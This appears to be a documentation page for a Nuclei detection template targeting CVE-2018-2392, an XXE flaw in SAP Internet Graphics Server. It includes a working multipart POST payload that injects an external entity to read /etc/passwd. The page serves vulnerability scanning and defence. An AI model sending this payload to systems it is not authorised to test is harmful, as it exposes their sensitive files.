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SAP Internet Graphics Server (IGS) - XML External Entity Injection

ID: CVE-2018-2392

Severity: high

Author: _generic_human_

Tags: cve,cve2018,sap,igs,xxe,xmlchart,msf,intrusive

Description

Section titled “Description”

SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XML external entity injection (XXE) vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when submitting a POST request to the XMLCHART page to generate a new chart.

YAML Source

Section titled “YAML Source”
id: CVE-2018-2392


info:
  name: SAP Internet Graphics Server (IGS) - XML External Entity Injection
  author: _generic_human_
  severity: high
  description: |
    SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XML external entity injection (XXE) vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when submitting a POST request to the XMLCHART page to generate a new chart.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or a complete system compromise.
  remediation: |
    Apply the latest security patches and updates provided by SAP to mitigate this vulnerability. Additionally, ensure that the SAP Internet Graphics Server (IGS) is not exposed to untrusted networks or the internet.
  reference:
    - https://launchpad.support.sap.com/#/notes/2525222
    - https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/
    - https://www.rapid7.com/db/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe/
    - https://troopers.de/troopers18/agenda/3r38lr/
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2018-2392
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2018-2392
    cwe-id: CWE-611
    epss-score: 0.00278
    epss-percentile: 0.64901
    cpe: cpe:2.3:a:sap:internet_graphics_server:7.20:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: internet_graphics_server
  tags: cve,cve2018,sap,igs,xxe,xmlchart,msf,intrusive


http:
  - raw:
      - |
        POST /XMLCHART HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{randstr_1}}


        --{{randstr_1}}
        Content-Disposition: form-data; name="{{randstr_2}}"; filename="{{randstr_3}}.xml"
        Content-Type: application/xml


        <?xml version='1.0' encoding='UTF-8'?>
            <ChartData>
              <Categories>
                <Category>ALttP</Category>
              </Categories>
              <Series label="{{randstr_4}}">
                <Point>
                  <Value type="y">12345</Value>
                </Point>
              </Series>
            </ChartData>
        --{{randstr_1}}
        Content-Disposition: form-data; name="{{randstr_5}}"; filename="{{randstr_6}}.xml"
        Content-Type: application/xml


        <?xml version='1.0' encoding='UTF-8'?>
            <!DOCTYPE Extension [<!ENTITY xxe SYSTEM "/etc/passwd">]>
            <SAPChartCustomizing version="1.1">
              <Elements>
                <ChartElements>
                  <Title>
                    <Extension>&xxe;</Extension>
                  </Title>
                </ChartElements>
              </Elements>
            </SAPChartCustomizing>
        --{{randstr_1}}--


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - Picture
          - Info
          - /output/
        condition: and


      - type: word
        part: body
        words:
          - ImageMap
          - Errors
        condition: or


      - type: word
        part: header
        words:
          - text/html
          - SAP Internet Graphics Server
        condition: and


      - type: status
        status:
          - 200


# file name - /etc/passwd
# digest: 4a0a00473045022100c1200fb90152a16dbc981fd2b6e0326c3dde1d787cdb190b1dc86d6e78253f0c02204bef66cc66feb2b3418e6d99523be1388e18b56bb044e9633aa9a998dda0480d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-2392.yaml"

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